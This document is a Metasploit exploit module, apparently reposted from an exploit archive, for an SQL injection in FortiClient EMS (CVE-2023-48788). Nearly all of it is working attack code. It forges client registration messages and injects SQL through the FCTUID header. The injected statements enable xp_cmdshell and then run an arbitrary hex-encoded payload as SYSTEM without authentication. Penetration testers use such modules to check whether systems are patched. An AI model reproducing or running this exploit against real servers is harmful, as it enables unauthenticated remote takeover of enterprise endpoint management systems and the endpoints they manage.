FortiNet FortiClient EMS 7.2.2 / 7.0.10 SQL Injection / Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::Tcp  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'FortiNet FortiClient Endpoint Management Server FCTID SQLi to RCE',        'Description' => %q{          An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server).          FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized          platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which          can be sent directly into database queries.          FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013          and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database.          In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable          SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code          execution in the context of NT AUTHORITY\SYSTEM          Affected versions of FortiClient EMS include:          7.2.0 through 7.2.2          7.0.1 through 7.0.10          Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet.          It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient          EMS for the necessary vulnerable services to be available.        },        'Author' => [          'Zach Hanley',     # Analysis & PoC          'James Horseman',  # Analysis & PoC          'jheysel-r7',      # Msf module          'Spencer McIntyre' # Msf module assistance        ],        'References' => [          [ 'URL', 'https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/'],          [ 'URL', 'https://github.com/horizon3ai/CVE-2023-48788/blob/main/CVE-2023-48788.py'],          [ 'CVE', '2023-48788']        ],        'License' => MSF_LICENSE,        'Platform' => 'win',        'Privileged' => true,        'Arch' => [ ARCH_CMD ],        'Targets' => [          [ 'Automatic Target', {}]        ],        'DefaultTarget' => 0,        'DisclosureDate' => '2024-04-21',        'DefaultOptions' => {          'SSL' => true,          'RPORT' => 8013        },        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ IOC_IN_LOGS ],          'Reliability' => [ REPEATABLE_SESSION ]        }      )    )  end  def get_register_info    register_info = <<~REGISTER_INFO      AVSIG_VER=1.00000      REG_KEY=_      EP_ONNETCHKSUM=0      AVENG_VER=6.00266      DHCP_SERVER=None      FCTOS=WIN64      VULSIG_VER=1.00000      FCTVER=7.0.7.0345      APPSIG_VER=13.00364      USER=Administrator      APPENG_VER=4.00082      AVALSIG_VER=0.00000      VULENG_VER=2.00032      OSVER=Microsoft Windows Server 2019 , 64-bit (build 17763)      COM_MODEL=VMware Virtual Platform      RSENG_VER=1.00020      AV_PROTECTED=0      AVALENG_VER=0.00000      PEER_IP=      ENABLED_FEATURE_BITMAP=49      EP_OFFNETCHKSUM=0      INSTALLED_FEATURE_BITMAP=158583      EP_CHKSUM=0      HIDDEN_FEATURE_BITMAP=155943      DISKENC=      HOSTNAME=CYBER-RETQB1FLP      AV_PRODUCT=      FCT_SN=FCT8001638848651      INSTALLUID=#{Faker::Internet.uuid.upcase}      NWIFS=Ethernet0|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|1|*|0      UTC=1710271774      PC_DOMAIN=      COM_MAN=VMware, Inc.      CPU=Intel(R) Xeon(R) Silver 4215 CPU @ 2.50GHz      MEM=12287      HDD=99      COM_SN=VMware-42 04 ed 2d 64 e8 0b 14-45 e9 e4 f6 5a c7 67 82      DOMAIN=      WORKGROUP=WORKGROUP      USER_SID=S-1-5-21-#{rand(9) * 10}-#{rand(9) * 10}-#{rand(9) * 10}-500      GROUP_TAG=      ADGUID=      EP_FGTCHKSUM=0      EP_RULECHKSUM=0      WF_FILESCHKSUM=0      EP_APPCTRLCHKSUM=0    REGISTER_INFO    Rex::Text.encode_base64(register_info)  end  def get_message(sqli)    message = "MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD{SQLI_PLACEHOLDER}\n"    message << "IP=127.0.0.1\n"    message << "MAC=#{Faker::Internet.mac_address}\n"    message << "FCT_ONNET=0\n"    message << "CAPS=32767\n"    message << "VDOM=default\n"    message << "EC_QUARANTINED=0\n"    message << "SIZE=    {SIZE_PLACEHOLDER}\n"    message << "\n"    message << "X-FCCK-REGISTER: SYSINFO||#{get_register_info}\n"    message << 'X-FCCK-REGISTER-END'    message << "\r\n"    message << "\r\n"    message.gsub!('{SQLI_PLACEHOLDER}', sqli)    message_length = message.length    message_length = message_length - '{SIZE_PLACEHOLDER}'.length + message_length.to_s.length    message.gsub!('{SIZE_PLACEHOLDER}', message_length.to_s)    message  end  def send_message(sqli)    message = get_message(sqli)    vprint_status("Sending the following message: #{message}")    buf = ''    begin      connect(true, { 'SSL' => true })      sock.put(message)      buf = sock.get_once || ''    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")    ensure      disconnect    end    vprint_status("The response received was: #{buf}")    buf  end  def check    res = send_message("' OR 1=1; --")    return CheckCode::Vulnerable('The SQLi has been exploited successfully') if res.include?('KA_INTERVAL')    return CheckCode::Safe if res.include?("The FCT record doesn't exist")    CheckCode::Unknown("#{peer} - FmcDaemon.exe does not appear to be running on the endpoint targeted")  end  def exploit    # Things to note:    # 1. xp_cmdshell is disabled by default so first we must enable it.    # 2. The application takes the SQL statement we inject into and converts it all to upper case. This was causing    # attempted Base64 encoded payloads to fail, and is why we send the payload has a hex string and decode it using SQL    # before running the command with xp_command shell.    # 3. We expect to see KA_INTERVAL in the response to every SQLi attempt except for when we deliver the payload which    # is when we expect the response to be empty.    inject = [      "' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;--",      "' OR 1=1; reconfigure;--",      "' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;--",      "' OR 1=1; reconfigure;--",      "' OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}); exec master.dbo.xp_cmdshell @sql;--",    ]    inject.each do |sqli|      if sqli == inject.last        send_message(sqli).empty? ? print_good("The SQLi: #{sqli} was executed successfully") : fail_with(Failure::UnexpectedReply, 'The SQLi injection response indicated the injection was unsuccessful.')      else        send_message(sqli).include?('KA_INTERVAL') ? print_good("The SQLi: #{sqli} was executed successfully") : fail_with(Failure::UnexpectedReply, 'The SQLi injection response indicated the injection was unsuccessful.')      end    end  endend